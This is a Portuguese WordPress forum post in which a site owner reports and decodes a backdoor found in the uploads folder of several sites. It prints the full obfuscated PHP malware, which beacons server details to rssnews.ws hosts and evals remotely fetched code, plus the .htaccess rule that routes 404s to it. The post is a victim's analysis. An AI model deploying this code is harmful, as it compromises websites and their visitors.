Backdoor
-
Percebí agora que 3 dos 6 WP que tenho rodando estão com algum tipo de trojan instalado. Dois arquivos foram gerados na pasta upload e subpastas:
207250.php (nome aparentemente aleatório)
<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="cbb5c6e51bf51d29f57296a4c8e0a9d9") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>
formatado e comentado:
<?php $a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF); $e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING); $f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $i = (isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME); $j = (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE); $z = "/? ".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j); $f = base64_decode("cnNzbmV3cy53cw=="); //base64 = rssnews.ws if (basename($c) == basename($i) && isset($_REQUEST["q"]) && md5($_REQUEST["q"])=="cbb5c6e51bf51d29f57296a4c8e0a9d9") $f=$_REQUEST["id"]; if ((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z))); //base64 = http://ads. else if ($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z)) eval($c); //base64 = http://7. else { $cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z); //base64 = http://71. curl_setopt($cu,CURLOPT_RETURNTRANSFER,1); $o=curl_exec($cu); curl_close($cu); eval($o); }; die(); ?>
.htaccess
Options -MultiViews ErrorDocument 404 //wordpress/wp-content/uploads/2010/207250.php Options -MultiViews ErrorDocument 404 /wordpress/wp-content/uploads/2010/207250.php Options -MultiViews ErrorDocument 404 /wordpress/wp-content/uploads/2010/207250.php
O arquivo PHP parece estar dividido em 2 partes (if) uma envia para ads.rssnews.ws uma string com o URL do site, o FILE (caminho local tipo /home/site.com.br/etc/etc) e USER AGENT que acessou; a outra executa via eval uma string passada via query string.
A questão é: COMO ele se instalou alí? É evidente que tem alguma relação com o CHMOD 777 dado a pasta uploads, pois só alí eles são encontrados.
Visualizando 2 respostas - 1 até 2 (de um total de 2)
Visualizando 2 respostas - 1 até 2 (de um total de 2)
- O tópico ‘Backdoor’ está fechado para novas respostas.